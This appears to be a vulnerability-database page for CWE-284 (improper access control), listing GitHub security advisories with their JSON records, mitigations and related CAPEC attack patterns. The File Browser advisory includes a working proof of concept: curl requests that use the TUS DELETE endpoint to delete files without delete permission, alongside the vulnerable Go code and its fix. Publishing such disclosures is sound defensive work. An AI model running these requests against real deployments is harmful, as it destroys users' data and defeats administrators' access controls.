Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

API response cwe.mitre.org

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

7797 vulnerabilities reference this CWE, most recent first.

GHSA-79H5-MG2M-5MFM

Vulnerability from github – Published: 2026-03-23 15:30 – Updated: 2026-03-23 15:30
VLAI
Details

A vulnerability was found in CodePhiliaX Chat2DB up to 0.3.7. This affects the function Upload of the file chat2db-server/chat2db-server-web/chat2db-server-web-api/src/main/java/ai/chat2db/server/web/api/controller/driver/JdbcDriverController.java of the component JDBC Driver Upload. Performing a manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-23T13:16:31Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in CodePhiliaX Chat2DB up to 0.3.7. This affects the function Upload of the file chat2db-server/chat2db-server-web/chat2db-server-web-api/src/main/java/ai/chat2db/server/web/api/controller/driver/JdbcDriverController.java of the component JDBC Driver Upload. Performing a manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-79h5-mg2m-5mfm",
  "modified": "2026-03-23T15:30:44Z",
  "published": "2026-03-23T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4586"
    },
    {
      "type": "WEB",
      "url": "https://fx4tqqfvdw4.feishu.cn/docx/PgtzdpfoWoTR0yxB7P6cujGanih?from=from_copylink"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.352432"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.352432"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.775596"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-79PF-VX4X-7JMM

Vulnerability from github – Published: 2026-03-04 22:38 – Updated: 2026-03-05 22:50
VLAI
Summary
File Browser's TUS Delete Endpoint Bypasses Delete Permission Check
Details

Summary

A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.

Details

The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:

// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if r.URL.Path == "/" || !d.user.Perm.Create {  // ← Wrong permission checked
            return http.StatusForbidden, nil
        }
        // ...
        err = d.user.Fs.RemoveAll(r.URL.Path)  // File is deleted

The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:

// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if r.URL.Path == "/" || !d.user.Perm.Delete {  // ← Correct permission
            return http.StatusForbidden, nil
        }

This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.

Proposed fix:

// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {

PoC

  • filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser)
  • Tested on: Kali Linux, go version go1.23+

Setup section

# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init

# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
  --perm.create=true \
  --perm.delete=false

# Start server
./filebrowser &

POC script steps

  1. Confirm the Delete permission is correctly enforced on the standard endpoint:
TOKEN=$(curl -s -X POST localhost:8080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"SuperSecurePassword1234"}')

# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
  -H "X-Auth: $TOKEN" \
  -w "HTTP Status: %{http_code}\n"

# Expected: HTTP Status: 403
  1. Bypass via the TUS Delete endpoint:
# Initiate a TUS upload to register the file in the upload cache
curl -s -X POST "localhost:8080/api/tus/target.txt" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Length: 18" \
  -w "HTTP Status: %{http_code}\n"

# Expected: HTTP Status: 201

# Now delete via the TUS endpoint - Perm.Delete is NOT checked
curl -s -X DELETE "localhost:8080/api/tus/target.txt" \
  -H "X-Auth: $TOKEN" \
  -w "HTTP Status: %{http_code}\n"

# Expected: HTTP Status: 204  ← File deleted despite Perm.Delete=false

Observed results:

DELETE /api/resources/target.txt  -->  403 Forbidden      ( permission enforced )
DELETE /api/tus/target.txt            -->   204 No Content    ( permission bypassed )

Impact

This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:

  • Multiple users share a single instance, and
  • An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations

An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.61.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.61.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T22:38:01Z",
    "nvd_published_at": "2026-03-05T21:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.\n\n### Details\n\nThe tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:\n\n```go\n// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)\nfunc tusDeleteHandler(cache UploadCache) handleFunc {\n    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        if r.URL.Path == \"/\" || !d.user.Perm.Create {  // \u2190 Wrong permission checked\n            return http.StatusForbidden, nil\n        }\n        // ...\n        err = d.user.Fs.RemoveAll(r.URL.Path)  // File is deleted\n```\n\nThe correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:\n\n```go\n// http/resource.go - resourceDeleteHandler (CORRECT)\nfunc resourceDeleteHandler(fileCache FileCache) handleFunc {\n    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        if r.URL.Path == \"/\" || !d.user.Perm.Delete {  // \u2190 Correct permission\n            return http.StatusForbidden, nil\n        }\n```\n\nThis inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.\n\n### Proposed fix:\n\n```go\n// http/tus_handlers.go\n- if r.URL.Path == \"/\" || !d.user.Perm.Create {\n+ if r.URL.Path == \"/\" || !d.user.Perm.Delete {\n```\n\n### PoC\n\n- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) \n- Tested on: Kali Linux, go version go1.23+\n\n### Setup section\n\n```bash\n# Build and initialize\ngit clone https://github.com/filebrowser/filebrowser\ncd filebrowser\ngo build -o filebrowser .\n./filebrowser config init\n\n# Create a test user with Create=true but Delete=false\n./filebrowser users add testuser SuperSecurePassword1234 \\\n  --perm.create=true \\\n  --perm.delete=false\n\n# Start server\n./filebrowser \u0026\n```\n\n### POC script steps\n\n1. Confirm the Delete permission is correctly enforced on the standard endpoint:\n\n```bash\nTOKEN=$(curl -s -X POST localhost:8080/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"testuser\",\"password\":\"SuperSecurePassword1234\"}\u0027)\n\n# Attempt deletion via the standard resource endpoint \u2192 should be blocked\ncurl -s -X DELETE \"localhost:8080/api/resources/target.txt\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 403\n```\n\n2. Bypass via the TUS Delete endpoint:\n\n```bash\n# Initiate a TUS upload to register the file in the upload cache\ncurl -s -X POST \"localhost:8080/api/tus/target.txt\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: 18\" \\\n  -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 201\n\n# Now delete via the TUS endpoint - Perm.Delete is NOT checked\ncurl -s -X DELETE \"localhost:8080/api/tus/target.txt\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 204  \u2190 File deleted despite Perm.Delete=false\n```\n\n**Observed results:**\n```\nDELETE /api/resources/target.txt  --\u003e  403 Forbidden      ( permission enforced )\nDELETE /api/tus/target.txt            --\u003e   204 No Content    ( permission bypassed )\n```\n\n### Impact\nThis is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:\n\n- Multiple users share a single instance, and\n- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations\n\nAn attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.",
  "id": "GHSA-79pf-vx4x-7jmm",
  "modified": "2026-03-05T22:50:21Z",
  "published": "2026-03-04T22:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-79pf-vx4x-7jmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/7ed1425115be602c2b23236c410098ea2d74b42f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.61.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser\u0027s TUS Delete Endpoint Bypasses Delete Permission Check"
}

GHSA-79PM-WFXC-J388

Vulnerability from github – Published: 2022-05-17 03:03 – Updated: 2022-05-17 03:03
VLAI
Details

An elevation of privilege vulnerability in the HTC sound codec driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31386004.

Severity
7.0 (High)
CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-6779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-01-12T15:59:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability in the HTC sound codec driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31386004.",
  "id": "GHSA-79pm-wfxc-j388",
  "modified": "2022-05-17T03:03:37Z",
  "published": "2022-05-17T03:03:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6779"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2016-12-01.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94675"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79V3-VQFH-HQQ6

Vulnerability from github – Published: 2025-05-13 21:30 – Updated: 2025-05-13 21:30
VLAI
Details

Improper access control for some Edge Orchestrator software for Intel(R) Tiber™ Edge Platform may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.

Severity
5.0 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T21:16:06Z",
    "severity": "LOW"
  },
  "details": "Improper access control for some Edge Orchestrator software for Intel(R) Tiber\u2122 Edge Platform may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.",
  "id": "GHSA-79v3-vqfh-hqq6",
  "modified": "2025-05-13T21:30:56Z",
  "published": "2025-05-13T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20076"
    },
    {
      "type": "WEB",
      "url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01239.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7C34-XGH6-75M8

Vulnerability from github – Published: 2025-08-10 09:30 – Updated: 2025-08-10 09:30
VLAI
Details

A vulnerability was found in oitcode samarium up to 0.9.6. It has been classified as critical. Affected is an unknown function of the file /dashboard/product of the component Create Product Page. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-10T07:15:26Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in oitcode samarium up to 0.9.6. It has been classified as critical. Affected is an unknown function of the file /dashboard/product of the component Create Product Page. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-7c34-xgh6-75m8",
  "modified": "2025-08-10T09:30:19Z",
  "published": "2025-08-10T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MaiqueSilva/VulnDB/blob/main/readme08.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.319326"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.319326"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.626077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7C47-XR7Q-P6HG

Vulnerability from github – Published: 2026-03-18 20:05 – Updated: 2026-03-20 21:20
VLAI
Summary
free5GC NRF Discovery EncodeGroupId Function Panics on Malformed group-id-list Parameter
Details

Impact
This is an Improper Input Validation vulnerability leading to Denial of Service.
- Security Impact: A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed group-id-list parameter. This results in complete denial of service for the NRF discovery service.
- Functional Impact: The EncodeGroupId function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with "index out of range".
- Affected Parties: All deployments of free5GC v4.0.1 using the NRF discovery service.

Patches
Yes, the issue has been patched.
The fix is implemented in PR free5gc/nrf#80 (commit: [add fix reference here]).
Users should upgrade to the next release of free5GC that includes this commit.

Workarounds
There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:05:31Z",
    "nvd_published_at": "2026-03-20T03:16:01Z",
    "severity": "HIGH"
  },
  "details": "**Impact**  \nThis is an Improper Input Validation vulnerability leading to Denial of Service.  \n- **Security Impact**: A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed `group-id-list` parameter. This results in complete denial of service for the NRF discovery service.  \n- **Functional Impact**: The `EncodeGroupId` function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with \"index out of range\".  \n- **Affected Parties**: All deployments of free5GC v4.0.1 using the NRF discovery service.\n\n**Patches**  \nYes, the issue has been patched.  \nThe fix is implemented in PR free5gc/nrf#80 (commit: [add fix reference here]).  \nUsers should upgrade to the next release of free5GC that includes this commit.\n\n**Workarounds**  \nThere is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.",
  "id": "GHSA-7c47-xr7q-p6hg",
  "modified": "2026-03-20T21:20:47Z",
  "published": "2026-03-18T20:05:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-7c47-xr7q-p6hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/pull/80"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/commit/dac77d8f8f2e0f041c5634fb3c685dcb9734b872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5GC NRF Discovery EncodeGroupId Function Panics on Malformed group-id-list Parameter"
}

GHSA-7C5R-86CM-XRRP

Vulnerability from github – Published: 2022-05-14 02:30 – Updated: 2022-05-14 02:30
VLAI
Details

Outlook Web App (OWA) in Microsoft Exchange Server 2007 SP3, 2010 SP3, and 2013 SP1 and Cumulative Update 6 does not properly validate tokens in requests, which allows remote attackers to spoof the origin of e-mail messages via unspecified vectors, aka "Outlook Web App Token Spoofing Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-6319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-12-11T00:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Outlook Web App (OWA) in Microsoft Exchange Server 2007 SP3, 2010 SP3, and 2013 SP1 and Cumulative Update 6 does not properly validate tokens in requests, which allows remote attackers to spoof the origin of e-mail messages via unspecified vectors, aka \"Outlook Web App Token Spoofing Vulnerability.\"",
  "id": "GHSA-7c5r-86cm-xrrp",
  "modified": "2022-05-14T02:30:29Z",
  "published": "2022-05-14T02:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6319"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-075"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7C6R-57WF-RP3G

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Coherence. While the vulnerability is in Oracle Coherence, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-35307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:40:22Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Coherence.  While the vulnerability is in Oracle Coherence, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).",
  "id": "GHSA-7c6r-57wf-rp3g",
  "modified": "2026-06-17T18:35:24Z",
  "published": "2026-06-17T18:35:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35307"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C8V-9GGW-48F4

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 18:31
VLAI
Details

Inappropriate implementation in Signin in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:27Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Signin in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-7c8v-9ggw-48f4",
  "modified": "2026-06-05T18:31:39Z",
  "published": "2026-06-05T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11204"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/505200733"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CCM-7P68-RFCW

Vulnerability from github – Published: 2023-10-26 21:30 – Updated: 2023-11-06 21:31
VLAI
Details

Sielco PolyEco1000 is vulnerable to an attacker escalating their privileges by modifying passwords in POST requests.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-46661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-26T20:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "\nSielco PolyEco1000 is vulnerable to an attacker escalating their privileges by modifying passwords in POST requests.\n\n\n\n\n",
  "id": "GHSA-7ccm-7p68-rfcw",
  "modified": "2023-11-06T21:31:06Z",
  "published": "2023-10-26T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46661"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

